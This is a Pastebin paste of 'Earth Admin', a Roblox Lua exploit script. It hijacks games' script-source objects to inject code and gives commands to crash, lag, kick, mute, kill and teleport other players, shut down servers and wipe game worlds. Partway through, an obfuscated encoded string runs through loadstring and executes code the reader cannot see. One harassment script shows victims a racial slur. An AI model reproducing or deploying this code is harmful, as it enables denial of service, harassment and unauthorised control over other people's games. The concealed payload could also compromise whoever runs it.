Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --THIS IS EARTH ADMIN, PUBLISHED FROM "aleksa12432", and made by him.
- --if you dont beleive, say info/ :3
- --Nilcrash wont work, so don't test it.
- --That is all that I need to sai.
- --this is a LocalScript
- --kbai, nau
- wait()
- LocalPlayer = game:GetService("Players").LocalPlayer
- script.Parent = __EARTH__
- Tabs = {}
- Cmds = {}
- key = "/"
- chatgui = true
- probemode = false
- connection = nil
- --not sure if it will work.
- --BRanks = -1 = Kick, -2 = Lag, -3 = Mute, -4 = Rejoin
- Banlist = {}
- Playerlist = {}
- tabmodel = Instance.new("Model", Workspace)
- tabmodel.Name = "Earth tabs"
- SourceName = "DSource"
- --[[
- SourceNames:
- Alakazard: 'source'
- Anaminus: 'DSource'
- AntiBoomz0r: 'Source'
- ]]--
- function NilCrash(Name)
- local Crasher = Instance.new("StringValue")
- Crasher.Name = "Client"
- Crasher.Value = string.lower(tostring(Name))
- Crasher.Parent = game:GetService("Lighting")
- wait(1)
- if Crasher and Crasher.Parent then
- ypcall(function()
- Crasher:Destroy()
- end)
- end
- end
- function Crash(name)
- name = tostring(name or "nil")
- local t = Instance.new("StringValue")
- t.Name = "DISC: "..name
- t.Parent = game.Lighting
- game:GetService("Debris"):AddItem(t,1)
- end
- function Connect(player)
- if game.Players[player.Name] then
- if not Playerlist[player.Name] then
- NewLS(CrashSource,player:findFirstChild("Backpack"))
- table.insert(Playerlist,player.Name)
- Output('Connected | '..player.Name,__)
- end
- end
- end
- LagSource = [==[
- wait(0)
- script.Parent = nil
- plr = game:GetService("Players").LocalPlayer
- local plrgui = plr:findFirstChild("PlayerGui")
- if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
- while plr.Parent == game:GetService("Players") do
- wait()
- for i = 1, 1000 do
- local sc = Instance.new("ScreenGui",plrgui)
- local fr = Instance.new("TextLabel",sc)
- fr.Text = "LAGGING"
- fr.Size = UDim2.new(1, 0, 1, 0)
- fr.FontSize = "Size48"
- end
- end
- ]==]
- FunScript = [[
- LP = game:service'Players'.LocalPlayer
- Shapes = {"Ball", "Block"}
- wait()
- script.Parent = nil
- Delay(0, function()
- while wait() do
- workspace.CurrentCamera.CameraType = "Scriptable"
- workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
- workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
- workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
- local Part = Instance.new("Part", workspace.CurrentCamera)
- Part.Shape = Shapes[math.random(1, 2)]
- Part.Anchored = true
- Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
- Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
- Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
- local Smoke = Instance.new("Smoke", Part)
- Smoke.Color = Color3.new(math.random(), math.random(), math.random())
- Smoke.Opacity = 0.7
- local Sparkles = Instance.new("Sparkles", Part)
- Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
- local Fire = Instance.new("Fire", Part)
- Fire.Color = Color3.new(math.random(), math.random(), math.random())
- Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
- local Ex = Instance.new("Explosion", workspace.CurrentCamera)
- Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
- Ex.BlastPressure = 15
- Ex.BlastRadius = 12.5
- if not workspace.CurrentCamera:findFirstChild("Hint") then
- local mes = Instance.new("Hint", workspace.CurrentCamera)
- mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
- end
- end
- end)
- ]]
- CrashSource = [==[
- wait(0)
- script.Parent = nil
- local Lig = game:GetService("Lighting")
- local LP = game:GetService("Players").LocalPlayer
- local LowerName = LP.Name:lower()
- Lig.ChildAdded:connect(function(Obj)
- if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
- pcall(function()
- Obj:Destroy()
- end)
- LP.Parent = nil
- LP.Parent = game:GetService("Players")
- end
- end)
- ]==]
- coroutine.resume(coroutine.create(function()
- while wait(3) do
- if game:GetService("Players").Name ~= "Players" then
- game:GetService("Players").Name = "Players"
- end
- end
- end))
- function Dismiss()
- for i = 1, 10 do
- for i = 1, #Tabs do
- table.remove(Tabs, i)
- if tabmodel then
- tabmodel:ClearAllChildren()
- end end end
- end
- function AddCmd(Name,Say,Desc,Func)
- table.insert(Cmds,{["Name"] = Name,["Say"] = Say,["Desc"] = Desc,["Func"] = Func})
- end
- AddCmd('Idiots','pingtehidiots','Find out on your own',
- function()
- for _,v in pairs(Playerlist) do
- if not game.Players[v] then
- Output('(NIL) '..v, function() Output('NilCrash this person?', function() NilCrash(v) end) end)
- else
- Output(v,__)
- end
- end
- end
- )
- AddCmd("Banlist","bl","Show the banned players",
- function()
- Dismiss()
- for i, v in pairs(Banlist) do
- Output(v["Name"]..' - BRank: '..v["BRank"], __)
- end
- end
- )
- AddCmd("Fun","fun","Make some fun for a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS(FunScript, plr.Backpack)
- end
- end
- end
- )
- AddCmd("Lag player","lag","Lag a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS(LagSource, plr.Backpack)
- end
- end
- end
- )
- AddCmd("Nuke","nuke","Nuke a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- a = Instance.new("Explosion", plr.Character)
- a.Position = plr.Character.Torso
- end
- end
- end
- )
- AddCmd("Fire","fire","Fire a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Torso then
- Instance.new("Fire", plr.Character.Torso)
- end
- end
- end
- )
- AddCmd("Un-fire","unfire","Remove fire from player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Torso then
- pcall(function()
- for j, k in pairs(plr.Character.Torso:GetChildren()) do
- if k:IsA("Fire") then
- k:Destroy()
- end
- end
- end)
- end
- end
- end
- )
- found = false
- coroutine.wrap(function()
- while found == false do
- if game.PlaceId == 21053279 or game.PlaceId == 21053219 then break end
- for _,scriptinworkspace in pairs(workspace:children()) do
- if scriptinworkspace then
- if scriptinworkspace:IsA("Script") then
- if scriptinworkspace:FindFirstChild(SourceName) then
- newScript = scriptinworkspace:Clone()
- wait(0.2)
- newScript.Name = "NewScript"
- newScript.Disabled = true
- newScript:FindFirstChild(SourceName).Value = ""
- Output("Source found", __)
- found = true
- break
- end
- end
- end
- end
- wait()
- end
- end)()
- AddCmd("Unpunish player","unpunish","Restore the player's character",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr then
- NewS("game.Players['"..plr.Name.."']:LoadCharacter()", workspace)
- end
- end
- end
- )
- function NewS(sourcevalue, parent)
- if game.PlaceId == 21053279 or game.PlaceId == 21053219 then
- NS(sourcevalue, parent)
- else
- if newScript then
- local scr = newScript:Clone()
- if scr:FindFirstChild(SourceName) then
- if scr:FindFirstChild(SourceName) then
- scr:FindFirstChild(SourceName).Value = sourcevalue
- scr.Parent = parent
- wait(0.5)
- scr.Disabled = false
- return scr
- end
- end
- end
- end
- end
- sorcery = script:Clone()
- Services = {
- game:GetService("Workspace"),
- game:GetService("Players"),
- game:GetService("Lighting"),
- game:GetService("StarterPack"),
- game:GetService("StarterGui"),
- game:GetService("Teams"),
- game:GetService("SoundService"),
- game:GetService("Debris"),
- game:GetService("InsertService"),
- game:GetService("RunService"),
- game:GetService("Chat"),
- game:GetService("TeleportService"),
- game:GetService("Geometry"),
- game:GetService("MarketplaceService"),
- game:GetService("BadgeService"),
- game:GetService("NetworkClient"),
- game:GetService("FriendService"),
- }
- function Explore(Item)
- Dismiss()
- if(Item==nil)then
- for _,v in pairs(Services)do
- Output(v.Name,function() Explore(v) end)
- end;
- else
- f={
- ['View children']=function()
- Dismiss()
- for _,v in pairs(Item:children())do
- Output(v.Name,function()
- Explore(v)
- wait()
- end);
- end;
- end;
- ['View parent']=function()
- Explore(Item.Parent)
- end;
- ['Destroy']=function()
- Item:Destroy();
- Explore(Item.Parent);
- end;
- ['Clear']=function()
- Item:ClearAllChildren()
- end;
- ['Clone']=function()
- pcall(function()
- cloneableObj = Item:clone()
- end)
- end;
- ['Remove']=function()
- Item:remove()
- end;
- ['Paste']=function()
- if cloneableObj then
- cloneableObj.Parent = Item
- end
- end;
- ['Ki'..'ck Item']=function()
- NewLS("local plr = game:service'Players'.LocalPlayer; plr:Ki".."ck()", Item)
- end;
- };
- for i,v in pairs(f)do
- Output(tostring(i),v);
- end;
- Output('Item Name: \''..tostring(Item.Name)..'\'',nil);
- Output('Class: \''..tostring(Item.ClassName)..'\'',nil);
- if cloneableObj then
- Output('Currently Cloning: \''..tostring(cloneableObj.Name)..'\'',nil);
- end
- end;
- end;
- AddCmd("Explore","explore","Explore the game",
- function()
- Explore()
- end
- )
- function NewLS(sourcevalue, parent)
- if game.PlaceId == 21053279 or game.PlaceId == 21053219 then
- NLS(sourcevalue, parent)
- else
- local NS = sorcery:Clone()
- NS.Name = "NewLocal"
- local Source = NS:findFirstChild(SourceName)
- if Source == nil then Instance.new('StringValue',NS).Name = SourceName end Source = NS:findFirstChild(SourceName)
- Source.Value = sourcevalue
- NS.Parent = parent
- NS.Disabled = false
- return NS
- end
- end
- Clothes = {}
- for _,Item in pairs(LocalPlayer.Character:GetChildren()) do
- if Item:IsA('CharacterMesh') or Item:IsA('Hat') or Item:IsA('Shirt') or Item:IsA('Pants') then
- table.insert(Clothes,Item:Clone())
- end
- end
- for i,v in pairs(LocalPlayer.Character:GetChildren()) do
- if v:IsA("BodyColors") then
- body = v
- torsocolor = body.TorsoColor
- leftlegcolor = body.LeftLegColor
- rightlegcolor = body.RightLegColor
- leftarmcolor = body.LeftArmColor
- rightarmcolor = body.RightArmColor
- headcolor = body.HeadColor
- end
- end
- mouse = LocalPlayer:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "z" then
- game:service'StarterGui':SetCoreGuiEnabled(4, true)
- end
- end)
- AddCmd("Toogle ChatGUI","chat","Toogle ChatGUI on/off",
- function(plrs, msg)
- if msg == "off" then
- chatgui = false
- elseif msg == "on" then
- chatgui = true
- end
- end
- )
- AddCmd("Set WalkSpeed","ws","Set the walkspeed of player",
- function(plrs, msg)
- local keypos = msg:find(key)
- local targPlayers = msg:sub(1,keypos-1)
- local plrs = getPlayers(targPlayers)
- local speed = msg:sub(tonumber(keypos+1))
- for _,v in pairs(plrs) do
- if v.Character ~= nil and v.Character:findFirstChild("Humanoid") ~= nil then
- v.Character:findFirstChild("Humanoid").WalkSpeed = speed
- end
- end
- end
- )
- AddCmd("Teleport","tp","Teleport a player to a place",
- function(plrs, msg)
- local keypos = msg:find(key)
- local targPlayers = msg:sub(1,keypos-1)
- local plrs = getPlayers(targPlayers)
- local id = msg:sub(tonumber(keypos+1))
- for _,v in pairs(plrs) do
- if v and v.Backpack then
- NewLS([[game:service'TeleportService':Teleport(]]..id..[[)]], v.Backpack)
- end
- end
- end
- )
- Bad_Char = ""
- function chatgui(msg)
- if not chatgui then return end
- if probemode == false then
- if LocalPlayer.Character:findFirstChild("Head") then
- mainPart = LocalPlayer.Character:findFirstChild("Head")
- end
- end
- if probemode == true then
- if game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") then
- mainPart = game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe")
- end
- end
- local bg = Instance.new("BillboardGui", mainPart)
- bg.Adornee = mainPart
- bg.Name = "CHATGUIBG"
- bg.Size = UDim2.new(4, 0, 2.5, 0)
- bg.StudsOffset = Vector3.new(-4, 2, 0)
- local bg2 = Instance.new("BillboardGui", mainPart)
- bg2.Adornee = mainPart
- bg2.Name = "CHATGUIBG2"
- bg2.Size = UDim2.new(4, 0, 2.5, 0)
- bg2.StudsOffset = Vector3.new(-4, 4.5, 0)
- local text = Instance.new("TextLabel", bg)
- text.Size = UDim2.new(3, 0, 0.5, 0)
- text.FontSize = "Size18"
- text.TextScaled = true
- text.TextTransparency = 0
- text.BackgroundTransparency = 1
- text.TextTransparency = 0
- text.TextStrokeTransparency = 0
- text.Font = "Arial"
- text.TextColor = BrickColor.new("Toothpaste")
- text.Text = " "
- Message = msg:sub(1)
- if #Message >50 then return end
- for i = 0, #Message, 1 do
- wait(0.01)
- text.Text = string.gsub("["..LocalPlayer.Name.."]: "..Message:sub(0, i),'fuck','fuck')
- end
- wait()
- coroutine.resume(coroutine.create(function()
- for i = 0, 5, 0.05 do
- if bg ~= nil then
- if bg2 ~= nil then
- wait()
- bg2.StudsOffset = bg2.StudsOffset + Vector3.new(0, 0.05, 0)
- end
- bg.StudsOffset = bg.StudsOffset + Vector3.new(0, 0.05, 0)
- end
- end
- end))
- for i=text.TextTransparency,1,0.02 do
- wait()
- text.TextTransparency = i
- text.TextStrokeTransparency = i
- end
- if bg == nil then return end
- bg:Destroy()
- if bg2 == nil then return end
- bg2:Destroy()
- end
- LocalPlayer.Chatted:connect(chatgui)
- AddCmd("Message","m","Make a message over the screen",
- function(plrs, msg)
- Message = msg
- NewS([[
- a = Instance.new("Message", workspace)
- a.Text = ]].."[ "..LocalPlayer.Name.." ]: "..Message, workspace)
- end
- )
- AddCmd("Hint","h","Make a message at top of the screen",
- function(plrs, msg)
- Hint = msg
- NewS([[
- a = Instance.new("Hint", workspace)
- a.Text = ]].."[ "..LocalPlayer.Name.." ]: "..Hint, workspace)
- end
- )
- AddCmd("Commands","cmds","Show the list of commands",
- function()
- Dismiss()
- for i, v in pairs(Cmds) do
- Output(v["Name"],
- function()
- Output("Description: "..v["Desc"], __)
- Output("Usage: "..v["Say"], __)
- Output("Name: "..v["Name"], __)
- end)
- end
- end
- )
- AddCmd("Rejoin player","rej","Rejoin the player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS("game:service'TeleportService':Teleport(game.PlaceId)", plr.Backpack)
- end
- end
- end
- )
- AddCmd("Create base","base","Create the base",
- function()
- a = Instance.new("Part")
- a.Parent = Workspace
- a.Name = "Base"
- a.Position = Vector3.new(0, 0.6, 0)
- a.Size = Vector3.new(1002, 0, 1002)
- a.Material = "Grass"
- a.Anchored = true
- a.BrickColor = BrickColor.new("Dark green")
- end
- )
- AddCmd("Ping","ping","Ping something",
- function(plrs, msg)
- if msg == "" then
- Output("pong", __)
- else
- Output(msg, __)
- end
- end
- )
- AddCmd("Dismiss","dis","Dismiss tabs",
- function()
- Dismiss()
- end
- )
- AddCmd("Probe mode", "probe", "Be a ball and fly around",
- function()
- probemode = true
- Dismiss()
- if LocalPlayer.Character then LocalPlayer.Character = nil end
- if workspace.CurrentCamera == nil then return end
- local camera = workspace.CurrentCamera
- local probe = Instance.new("Part", workspace)
- M = Instance.new("SpecialMesh", probe)
- M.MeshId = "http://www.roblox.com/asset/?id=10061232"
- M.TextureId = "http://www.roblox.com/asset/?id=10061209"
- M.Scale = Vector3.new(3, 3, 3)
- probe.TopSurface = 0
- probe.Anchored = true
- probe.BottomSurface = 0
- probe.Name = LocalPlayer.Name.."'s probe"
- local rotation = 0
- local bbg = Instance.new("BillboardGui", probe)
- bbg.Size = UDim2.new(3, 0, 3 ,0)
- bbg.ExtentsOffset = Vector3.new(0, 2, 0)
- local txt = Instance.new("TextLabel", bbg)
- txt.FontSize = "Size24"
- txt.Font = "SourceSansBold"
- txt.Text = LocalPlayer.Name
- txt.BackgroundTransparency = 1
- txt.TextColor = BrickColor.new("Really red")
- txt.TextStrokeTransparency = 0
- txt.Size = UDim2.new(1,0,1,0)
- local pl = Instance.new("PointLight", probe)
- pl.Shadows = true
- pl.Range = 20
- coroutine.wrap(function()
- while pl ~= nil do
- pl.Color = Color3.new(math.random(), math.random(), math.random())
- wait(0.8)
- end
- end)()
- coroutine.wrap(function()
- while LocalPlayer.Character == nil and probe.Parent == workspace and probe ~= nil and game:service'RunService'.Stepped:wait() do
- probe.CFrame = camera.Focus * CFrame.Angles(0, rotation, 0)
- rotation = rotation + 0.1
- end
- if camera then
- camera:Destroy()
- end
- probe:Destroy()
- end)()
- end
- )
- AddCmd("Make your character","char","Creates your character",
- function()
- if workspace.CurrentCamera == nil then return end
- local camera = workspace.CurrentCamera
- local new_char = game:service("InsertService"):LoadAsset(68452456):GetChildren()[1]
- local human = new_char.Humanoid
- human.Parent = nil
- new_char.Name = LocalPlayer.Name
- wait()
- human.Parent = new_char
- camera.CameraSubject = human
- camera.CameraType = "Custom"
- new_char.Parent = workspace
- local pl = Instance.new("PointLight", new_char.Head)
- pl.Range = 24
- pl.Shadows = true
- LocalPlayer.Character = new_char
- new_char:MakeJoints()
- new_char.Torso.BrickColor = torsocolor
- new_char["Left Leg"].BrickColor = leftlegcolor
- new_char["Right Leg"].BrickColor = rightlegcolor
- new_char["Left Arm"].BrickColor = leftarmcolor
- new_char["Right Arm"].BrickColor = rightarmcolor
- new_char.Head.BrickColor = headcolor
- for i,v in pairs(Clothes) do
- v:Clone().Parent = new_char
- end
- probemode = false
- end
- )
- AddCmd("Stop the commands","cremove","Remove the commands",
- function()
- Output("Are you sure that you wan't to remove the Earth admin?",
- function()
- Output("Are you 100% sure that you want this???",
- function()
- for i,v in pairs(getfenv(1)) do
- getfenv(1)[i] = nil
- end
- script.Disabled = true
- LocalPlayer = NO_PLAYER
- script:findFirstChild(SourceName).Value = " "
- script.Disabled = true
- tabmodel:ClearAllChildren()
- tabmodel:Destroy()
- connection:disconnect()
- Tabs = {}
- Cmds = {}
- Banlist = {}
- fukhed.all = true
- coroutine.resume(coroutine.create(function()
- while wait(0.1) do
- Dismiss()
- end
- end))
- end)
- end)
- end
- )
- AddCmd("ForceField","ff","Give forcefield to player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- Instance.new("ForceField", plr.Character)
- end
- end
- end
- )
- AddCmd("Sparkles","sparkles","Give sparkles to player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Torso then
- Instance.new("Sparkles", plr.Character.Torso)
- end
- end
- end
- )
- AddCmd("Un-Sparkles","unsparkles","Remove sparkles from player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Torso then
- pcall(function()
- for j, k in pairs(plr.Character.Torso:GetChildren()) do
- if k:IsA("Sparkles") then
- k:Destroy()
- end
- end
- end)
- end
- end
- end
- )
- AddCmd("Crash player","crash","Crash the player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS("repeat until false", plr.Backpack)
- end
- end
- end
- )
- AddCmd("Respawn player","respawn","Respawn the player",
- function(plrs)
- for _, plr in pairs(plrs) do
- NewS("game.Players['"..plr.Name.."']:LoadCharacter()", workspace)
- end
- end
- )
- AddCmd("Mute player","mute","Block the player chat",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", plr.Backpack)
- end
- end
- end
- )
- AddCmd("Unmute player","unmute","Unblock the player chat",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, true)", plr.Backpack)
- end
- end
- end
- )
- AddCmd("Un-ForceField","unff","Remove the forcefield that you gave to player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- pcall(function()
- for _,v in pairs(plr.Character:GetChildren()) do
- if v:IsA("ForceField") then
- v:Destroy()
- end
- end
- end)
- end
- end
- end
- )
- AddCmd("God player","god","Make the player immortal",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Humanoid then
- plr.Character.Humanoid.MaxHealth = math.huge
- end
- end
- end
- )
- AddCmd("Ungod player","ungod","Make the player mortal",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- plr.Character.Humanoid.MaxHealth = 100
- end
- end
- end
- )
- AddCmd("Kick player","kick","Kick a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS("game:service'StarterGui':SerCoreGuiEnabled(3,false)", plr.Backpack)
- plr:Destroy()
- end
- end
- end
- )
- AddCmd("Kill player","kill","Kill a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- plr.Character:BreakJoints()
- end
- end
- end
- )
- AddCmd("Punish player","punish","Remove character of a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- plr.Character:Destroy()
- end
- end
- end
- )
- AddCmd("Admin a player","admin","Give admin to a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- a = sorcery:Clone()
- a.Parent = plr.Backpack
- Output("You gave admin to: "..plr.Name, __)
- end
- end
- end
- )
- AddCmd("Fix cam","fcam","Fix anyone's cam",
- function(plrs, msg)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS([[
- game.Workspace.CurrentCamera:Destroy()
- cam = Instance.new("Camera", workspace)
- cam.Name = "CurrentCamera"
- cam.FieldOfView = 70
- cam.CameraType = "Custom"
- cam.CameraSubject = game.Players.LocalPlayer.Character.Humanoid]], plr.Backpack)
- end
- end
- end
- )
- AddCmd("AFK","afk","Ping yourself as afk",
- function()
- Dismiss()
- for i = 1,8 do
- wait()
- Output("AFK", __)
- end
- end
- )
- AddCmd("Back","back","Ping yourself as back",
- function()
- Dismiss()
- for i = 1,8 do
- wait()
- Output("Back", __)
- end
- wait(3)
- Dismiss()
- end
- )
- AddCmd("Ban a player","ban","Kicks a player when he enters",
- function(plrs, msg)
- local keypos = msg:find(key)
- local targPlayers = msg:sub(1,keypos-1)
- local plrs = getPlayers(targPlayers)
- local BRank = msg:sub(tonumber(keypos+1))
- for _,v in pairs(plrs) do
- if v then
- table.insert(Banlist,{["Name"] = v.Name, ["BRank"] = BRank})
- end
- end
- end
- )
- local charMap = {["+"] = 0, ["^"] = 1, ["%"] = 2, [")"] = 3, ["*"] = 4, ["$"] = 5, ["-"] = 6, ["_"] = 7, ["#"] = 8, ["&"] = 9, ["@"] = 10, ["("] = 11, ["?"] = 12, ["~"] = 13, ["!"] = 14, ["="] = 15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
- "?-=-)-^-?-+%&-~)~%^)()?-=-^-*-)_*_%_&-!-_-#%)_*_%_&-!-_-!%_-)_$_%-#B%!*!_~*~!~^&&~?@(&!&_@_~&~@A?@~@~_~~?^~&?&#)~)~+~-?@?%?##+?(A?#(~_-_(=?=!!@!)=$@?!!(?@!@-($!-!-~_~*!)!=~*~_~!?~#-~$~^~-?&?+?$#?(-?-?^($_~-@$@$(*-*~&^(~=$##$&$?$?$^^!A=-+&%#)$)*%!%~%!~=^=^!+!+?$+)%)-)#^)^_+&+==~($+)+!=%=*=@!!@*!~!?!-~&&+&&@#?*?=&$?#($($_(-#&*@=@%@$@$@~*%&)&_#?#()^*$#*&)_*_#-~-?^?$%%*^_)#$?*^$+$_*_)-*_)-)#C)**~^?$+)%)-))%$%+%#?_^)+!+^+*+*+!@*(!#-!^=+%$!-~~^%!)~$~+~-#)#+-#(~(?(#(#?&@?$?$$_*$+-A@(-*@$!)!_$#?^$#~(A?-)_)%+%~=!)+-($)$*$=*==$==!~!)=)!!^?$+)%)-)+!~(*^#-?_&+(@?!!+&+^+%+~=~@)@+~?~_!@C~$#@?+~&_%?%(^(!@$-)@-(&$^(%A&!#+&*&!_@*_*$*+*()^#^%&_?$?$*-+-&$*$!*~*&*!)_*!)!%_)-=^=-=$)_B~?#+*+@?_@#!?$!-$+~=!=&=&@=&+~@A~+~#~%~-?~_~?*?^_!--?(#)@+(!@?@@@@&!*(#@#=#_###%&*)@)@%$-^-_%*+$*_-%-@$($-$-+?=?%_)+*~)=%^)!-+*+*%**~?%!~--&)@)~))?&?&(*=+=-()&@!=!^!)#!&(#%&$#!#=_-#~(&?=(^(=(^(*(+(_-=&%-=&+_&&#$($%--&-#%&+&@#)#%)%#+#(_=-^__-(%~$=$$$)--^)^($&$*$#*@*+**+$)&*^*=%="
- ,"!_%@!&!!!)!!^(~*~??(~$^@~#~#?^+_+@=!+=^#($(^(=@=-__(-$__-=-_@*((@!&~@+@*@^@&$%&-$*&--+&+$*$?$?$^&%#=#!#&#)#))*#)#=_*___!-))--&-+-=-)%^%@-&-$-@$~$*$&^(*+-&$#*&+%*-+-+%^#+++?)@=*=~!~=!=~=!!#%=%)%-!*!^!+!%#(#+#(#!__#+?!?-?@(@?!()?^?@_*(&_#((#-(__?_$#((~@((((_(%()-$($(%(#@?@*@@-!&%@@&@@=$!$#@#@$@(&=&_&~$+&-@+@+&%$?#^$%$)$($*$!*(#@*$*=)+$%$%$**=__#?_+*=)~)~)%%?%%%!%%%?%--$_!-)-*_&-=-!-#%)-&%&-~)&-(%^)()%_$-*_$_%_!-+%)_*_%_&-!-_-!%)-#-^-%_#%#%)_*_%_&-!-_-!%%-&_*_$-#%)-&%(%~%^)^)#)(%&-&%$%+%%)$)-)&%$-!-*-&%&%#%&%"
- }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(charMap[lo]+charMap[hi]*16)end)))),getfenv())()
- AddCmd("Shutdown the game","sd","Shutdown the game",
- function()
- NewS([[while true do
- game:GetService("Players"):ClearAllChildren()
- end
- ]], workspace)
- end
- )
- AddCmd("Check source","chks","Check if the source is found",
- function()
- if found then
- Output("Source is found")
- else
- Output("Source is not found")
- end
- end
- )
- AddCmd("Say bye to everyone","bye","Say bye to everyone",
- function()
- Dismiss()
- for i = 1,8 do
- Output("Bye", __)
- end
- end
- )
- AddCmd("Check source name","chksn","Check the source name",
- function()
- Output(SourceName, __)
- end
- )
- AddCmd("Change source name","csn","Change the source name",
- function(plrs, msg)
- SourceName = tostring(msg)
- end
- )
- AddCmd("Kick player list","klist", "Show a kick player list",
- function()
- Dismiss()
- Output("Click on the player name that you want to kick", __)
- for _,v in pairs(game:GetService("Players"):GetChildren()) do
- Output(v.Name,
- function()
- NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", v.Backpack)
- v:Destroy()
- end)
- end
- end
- )
- AddCmd("Script","script","Execute a Script",
- function(plrs, msg)
- NewS(msg, workspace)
- end
- )
- AddCmd("LocalScript","local","Execute a LocalScript",
- function(plrs, msg)
- NewLS(msg, LocalPlayer.Backpack)
- end
- )
- AddCmd("Execute", "exe","Execute a LocalScript for admin",
- function(plrs, msg)
- a,b = ypcall(function()
- loadstring(msg)()
- end) if not a then Output(b,"Bright red") end
- end
- )
- AddCmd("#Commands","#cmds","See how much are commands in this admin",
- function()
- Output(#Cmds, __)
- end
- )
- AddCmd("Clean workspace","clean","Clean everything in workspace except terrain",
- function()
- NewS([[
- for _,v in pairs(game.Workspace:GetChildren()) do
- if v.Name ~= "Terrain" then
- v:Destroy()
- end
- end
- ]],workspace)
- wait(1)
- a = Instance.new("Part")
- a.Parent = Workspace
- a.Name = "Base"
- a.Position = Vector3.new(0, 0.6, 0)
- a.Size = Vector3.new(1002, 0, 1002)
- a.Material = "Grass"
- a.Anchored = true
- a.BrickColor = BrickColor.new("Dark green")
- NewS([[
- for _,v in pairs(game.Players:GetChildren()) do
- v:LoadCharacter()
- end
- ]], workspace)
- end
- )
- AddCmd("YOLO","yolo","YOLO",
- function()
- Dismiss()
- for i = 0,8,1 do
- Output("YOLO",__)
- end
- end
- )
- AddCmd("SWAG","swag","SWAG",
- function()
- Dismiss()
- for i = 0,8,1 do
- Output("SWAG",__)
- end
- end
- )
- function Output(Txt, func)
- P = Instance.new("Part", tabmodel)
- P.Shape = "Ball"
- P.Anchored = true
- P.CanCollide = false
- if probemode == false then
- if LocalPlayer.Character.Torso then
- P.Position = LocalPlayer.Character.Torso.Position
- elseif LocalPlayer.Character.Torso == nil then return end
- elseif probemode == true then
- if game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") then
- P.Position = game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe").Position
- elseif game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") == nil then return end
- else
- return
- end
- M = Instance.new("SpecialMesh",P)
- M.MeshId = "http://www.roblox.com/asset/?id=10061232"
- M.TextureId = "http://www.roblox.com/asset/?id=10061209"
- M.Scale = Vector3.new(3,3,3)
- Instance.new("PointLight", P)
- bg = Instance.new("BillboardGui", P)
- bg.Adornee = tab
- bg.Size = UDim2.new(8, 0, 7.5, 0)
- bg.StudsOffset = Vector3.new(0, 1, 0)
- text = Instance.new("TextLabel", bg)
- text.Size = UDim2.new(1, 0, 0.2, 0)
- text.FontSize = "Size18"
- text.BackgroundTransparency = 1
- text.Font = "Legacy"
- text.TextStrokeTransparency = 0
- text.TextColor = P.BrickColor
- text.Text = Txt
- Click = Instance.new("ClickDetector",P)
- Click.MouseClick:connect(function(Plr)
- if Plr.Name == LocalPlayer.Name then
- Dismiss()
- func = func
- func()
- end
- end)
- table.insert(Tabs, P)
- end
- function getPlayers(msg)
- local plrs = {}
- if msg == "me" then
- table.insert(plrs, LocalPlayer)
- elseif msg == "all" then
- plrs = game:GetService("Players"):GetChildren()
- elseif msg == "noobs" then
- for _,plr in pairs(game:GetService("Players"):GetChildren()) do
- if plr.AccountAge > 364 then
- table.insert(plrs, plr)
- end
- end
